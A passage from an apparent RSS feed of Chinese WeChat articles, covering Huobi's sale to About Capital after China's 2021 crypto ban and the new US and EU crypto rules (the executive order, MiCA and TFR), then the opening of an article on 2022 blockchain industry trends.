Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">直到2021年，Huobi、币安和OK被视为中文加密货币交易所的三大巨头。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但在2021年中国大陆出台了在全球各个国家中最严格的加密货币监管政策，包括禁止中国大陆用户进行加密货币交易、禁止中国大陆境内的虚拟货币挖矿、禁止在中国大陆注册的企业从事虚拟货币相关业务。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">监管政策出台后，以Huobi为代表的加密货币相关业务的公司纷纷宣布退出大陆市场，业务全面转向海外。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在退出前，Huobi的日均交易量超过600亿美元，峰值一度超过900亿美元，而在退出后又遭遇市场进入熊市，日均交易量萎缩到了50亿美元的水平，交易量跌幅超过90%。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但Huobi作为老牌交易所，仍然具有深厚的底蕴和有价值的资产。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">除本身的品牌影响外，Huobi持有美国、香港、韩国、日本等地的合规牌照，且在香港有上市公司火币科技，这些对于收购方仍有相当大的吸引力。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">因此在经过多次谈判后，在10月初香港百域资本宣布收购李林持有的Huobi Global的全部股份。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">香港百域资本（About Capital Management）是由陈亦骅于2008年创立的香港资产管理公司，他也是景林资产合伙人。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">百域资本在收购Huobi后，宣布成立全球顾问委员会，目的在于指导火币全球站的战略布局与发展，其名单有百域资本创始人陈亦骅，火币联合创始人杜均，波场创始人孙宇晨，香港科技大学副校长汪扬和Valkyrie投资联合创始人Leah Wald。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在收购完成后的第一次全体大会上，孙宇晨作为顾问委员会代表宣布了几项重要举措，包括给HT赋能、加强出海战略等。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在之后的一个星期，HT价格涨幅超过了80%，显示市场对这次收购和Huobi战略调整的认可。相信在完成这次收购和战略调整后，Huobi将在未来重现辉煌。</span></section><h2 style="margin: 24px 8px 16px;break-after: avoid;font-family: Arial;font-size: 16pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong><br mpa-from-tpl="t"/></strong></span></h2><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 10px auto;" mpa-from-tpl="t"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">10</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: #000000;font-size: 18px;" data-brushtype="text">欧启动顶层布置，全面监督</span></section></section></section></section></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">全球加密货币市场在经历上一轮大爆发之后，以美欧为代表的各国政府监管政策加快步伐。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022年3月9日美国总统拜登签署了《关于确保数字资产负责任创新的行政命令》，这是美国有史以来第一个整体政府措施来应对风险和利用数字资产及其基础技术所带来的潜在利益。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">该命令制定了涵盖六个关键优先事项的数字资产国家政策：消费者和投资者保护、金融稳定、非法融资、美国在全球金融体系和经济竞争力方面的领导地位、金融包容性和负责任的创新。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">9月16日白宫即发布了首个加密货币行业监管框架草案，该框架遵循数字资产行政命令，动用了美国证券交易委员会和商品期货交易委员会等现有监管机构的力量，还规定通过G7、G20、反洗钱金融行动特别工作组 (FATF) 和金融稳定委员会 (FSB) 扩大美国与其合作伙伴之间的合作。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2022年6月30日 欧盟理事会主席和欧洲议会就加密资产市场 (MiCA)提案达成临时协议，10月5日欧盟理事会批准最终的加密资产市场监管立法（The Markets in Crypto Assets regulation bill，MiCA）文本，10月10日欧洲议会委员会以28票赞成、1票反对的结果通过了MiCA法案，接下来将在欧洲议会全体会议上对MiCA进行的最终投票批准，一旦通过将在12–18个月后生效。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">10月10日欧洲议会成员还对《资金转移条例》（Transfer of Funds Regulation，TFR）进行了投票，这是一项反洗钱法案，要求使用加密货币进行的转账必须包含支付人和收款人的身份信息。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">这两项法案一旦生效将在欧盟建立统一的加密监管框架，将成为全球主要司法管辖区最全面的加密资产监管法规，也将为从事加密资产的服务提供商以及投资者提供强有力的保障。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">美欧推出的加密监管框架将对全球加密市场产生巨大影响，美国和欧盟将率先建立起统一的加密监管体系，不仅可以提升自己管辖区内的监管效率和执法力度，也可以为其他国家监管提供参照样板。</span></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><p style="white-space:normal;text-align:left;"><img class="rich_pages wxw-img" data-copyright="0" data-cropselx1="0" data-cropselx2="558" data-cropsely1="0" data-cropsely2="267" data-ratio="0.1814814814814815" style="border-radius: 24px;width: 558px;height: 101px;visibility: visible !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2dc4f805&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb0UPzJnS3xWTTx3c9uNuCZicxE8BLkrjHVRpJbxxFRWcY8Vnw3xicia589kV0JQia5qoZxDeSD5LMjdbDiazLxNnrqA%2F640%3Fwx_fmt%3Dpng"/></p></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="align-self: center;display: flex;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="padding: 0px 4px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;height: 4px;background: #333333;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="text-align: center;background: rgb(255, 255, 255);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 5px 19px 4px 20px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;color: #333333;line-height: 22px;letter-spacing: 2px;" data-mid=""><span style="letter-spacing: 2px;">往 期 回 顾</span></p></section><section style="padding: 0px 4px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;height: 4px;background: #333333;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section data-recommend-type="list-normal" data-recommend-tid="2" data-mpa-template="t" style="width: 100%;display: flex;justify-content: center;align-items: center;" data-mid="" data-from="yb-recommend"><section style="width: 100%;padding: 14px 7px 6px;background: rgb(255, 255, 255);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(232, 232, 235);" data-mid=""><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247490054_1" data-recommend-article-time="1654769294" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDDv5cKHKQAm39TVnpgJlTKOElSLuoy5HhQnZSsgdRDzicR6ogQaWdHMA/0?wx_fmt=jpeg" data-recommend-article-title="走进区块链的第一步：mev浅析" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">走进区块链的第一步：mev浅析</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2022-06-09</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages wxw-img" data-ratio="1.0013908205841446" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="719" src="https://wechat2rss.xlab.app/img-proxy/?k=6c62e85b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDDv5cKHKQAm39TVnpgJlTKOElSLuoy5HhQnZSsgdRDzicR6ogQaWdHMA%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247496549_1" data-recommend-article-time="1662547617" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04ngB8O08RoqHd307mOdNQnB7W0YTuN4qKRUk1QpQKiaAYYZeP0ODYBYw/0?wx_fmt=jpeg" data-recommend-article-title="走进区块链的第一步：钱包服务" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b&amp;chksm=c286ec23f5f16535164b84bcf1d2cc86e615abe599ad00e9b10a4defa37fb3be701b3cac109e#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247496549&amp;idx=1&amp;sn=d95aa6140d4c136a43c299c57a8be58b&amp;chksm=c286ec23f5f16535164b84bcf1d2cc86e615abe599ad00e9b10a4defa37fb3be701b3cac109e&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">走进区块链的第一步：钱包服务</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2022-09-07</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-ratio="0.998766954377312" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="811" src="https://wechat2rss.xlab.app/img-proxy/?k=51f2d84d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldfdtlKib4iaX4lSzWUuPKbf04ngB8O08RoqHd307mOdNQnB7W0YTuN4qKRUk1QpQKiaAYYZeP0ODYBYw%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247495003_1" data-recommend-article-time="1658396280" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldcfOy00HkI4YkNB6IA7h8jMAvq3TjwTENOEost5l54yys6YiaPibyCqvrUsOAFVQibfXOicwOeiaJjibLdQ/0?wx_fmt=jpeg" data-recommend-article-title="Unstable Stablecoins（上）" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5&amp;chksm=c286f21df5f17b0b28c72d2639ff2b08321dfb93d90427effb0fbefb2d25e4cffa1081d5b385#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495003&amp;idx=1&amp;sn=666b057bbef80321da916c81dfcad5d5&amp;chksm=c286f21df5f17b0b28c72d2639ff2b08321dfb93d90427effb0fbefb2d25e4cffa1081d5b385&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">Unstable Stablecoins（上）</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2022-07-21</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-ratio="1" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="383" src="https://wechat2rss.xlab.app/img-proxy/?k=dd33f363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMAvq3TjwTENOEost5l54yys6YiaPibyCqvrUsOAFVQibfXOicwOeiaJjibLdQ%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247495136_1" data-recommend-article-time="1658479099" data-recommend-article-cover="https://mmbiz.qpic.cn/mmbiz_jpg/e9yMd8aXldcfOy00HkI4YkNB6IA7h8jMXQRe8M4c9VHKAWVJNLzaKdPiclgNtc18Dh9j7X26BAkz53pWYLiadOyQ/0?wx_fmt=jpeg" data-recommend-article-title="Unstable Stablecoins（下）" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495136&amp;idx=1&amp;sn=7e3f5693b8c0c7e4fd2203027fa1f0aa&amp;chksm=c286f2a6f5f17bb040ec864188b3dc032be39adbf28a46e7aed8b46dc89c7e7a3acdbcc2c94e#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247495136&amp;idx=1&amp;sn=7e3f5693b8c0c7e4fd2203027fa1f0aa&amp;chksm=c286f2a6f5f17bb040ec864188b3dc032be39adbf28a46e7aed8b46dc89c7e7a3acdbcc2c94e&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">Unstable Stablecoins（下）</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2022-07-22</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-ratio="1" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="383" src="https://wechat2rss.xlab.app/img-proxy/?k=d7a4e31b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMXQRe8M4c9VHKAWVJNLzaKdPiclgNtc18Dh9j7X26BAkz53pWYLiadOyQ%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-mpa-category="模板" style="display: flex;justify-content: center;align-items: center;padding-top: 20px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;text-align: right;" data-mid="" mpa-from-tpl="t">                                                                                                       <img class="rich_pages wxw-img" data-ratio="0.975609756097561" style="width: 100px;height: 100px;" data-w="246" src="https://wechat2rss.xlab.app/img-proxy/?k=557d6f28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2Hr8ROyO2AltfibL6H8icFXXqvJo63pzEBTW9RzGGFib6u1yDP60q28zukdNGywv8ichKSeia2eEd7Q3MPdhNTJ44AA%2F640%3Fwx_fmt%3Dgif"/><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"><br/></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"><br/></span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"><br/></span></section></section></section><p style="text-align: right;">                      <strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">喜</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">欢</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">的话，点个赞吧</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">～</span></strong></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499838">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f46a1572&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247499838%26idx%3D1%26sn%3D5b2d9de2790a5670288c98e543201ce2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Feb 2023 16:15:00 +0800</pubDate>
    </item>
    <item>
      <title>区块链行业发展与趋势（上）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247499681&amp;idx=1&amp;sn=0b1461f02c3aeaf11f7a6ce183051706</link>
      <description>本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2023-02-02 14:59</span> <span style="display: inline-block;">湖南</span>
</p>

<p>本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=99cdc518&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0AGWp9dNBYib6RMbBAdWkDPnnrxkvutWia1HftDm89IxXnykJu3FJFvrA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.66015625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=833069ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0NWGhlNTEC0zAnian3m2hicUdfzIJEUoB5jEmyBZRibjRNj0aNFaNfc8uA%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 14px;"><em><span style="font-size: 14px;color: rgb(165, 165, 165);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;">⬆️全文思维导图</span></em></span></p><section style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">文章旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。</span></section><h1 style="white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">由于篇幅较长，分上下两篇发布。</span><span style="color:#000000;font-family:Calibri;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">本</span></span><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">文为上篇，涵盖第一章至第四章内容。</span></h1><h1 style="font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;margin: 24px 1em 16px;text-align: justify;line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);">前方多图预警，建议收藏起来慢慢看。</span></h1><p style="margin-bottom: 16px;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;letter-spacing: 1px;"><br/></span></p><section class="mp_common_sticker_iframe_wrp" style="margin-bottom: 16px;"><mp-common-sticker class="js_uneditable custom_select_card mp_common_sticker_iframe" data-pluginname="emotion" data-id="0fe4d3484923c5efb99b88ecad70c207" data-type="0" data-emoji_url="https://mmbiz.qpic.cn/mmbiz_gif/ibmNJuSwREEKTo1Z1zwSibtwbQtZh9EIAlqSbu6zMEibs0n94OVAniaFDB4cqRiaWlkodMEpRvbSYKlOr7HbibVAuZSg/0" data-md5="0fe4d3484923c5efb99b88ecad70c207" data-inserted="0" data-weui-theme="light" data-is_ban="0" data-loading="0"></mp-common-sticker></section><section style="margin-bottom: 16px;line-height: 2em;"><section style="width: 100%;display: flex;flex-direction: column;padding: 0 15px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;display: flex;justify-content: space-between;" data-mid="" mpa-from-tpl="t"><section style="display: flex;padding-left: 9px;" data-mid="" mpa-from-tpl="t"><section style="text-align: 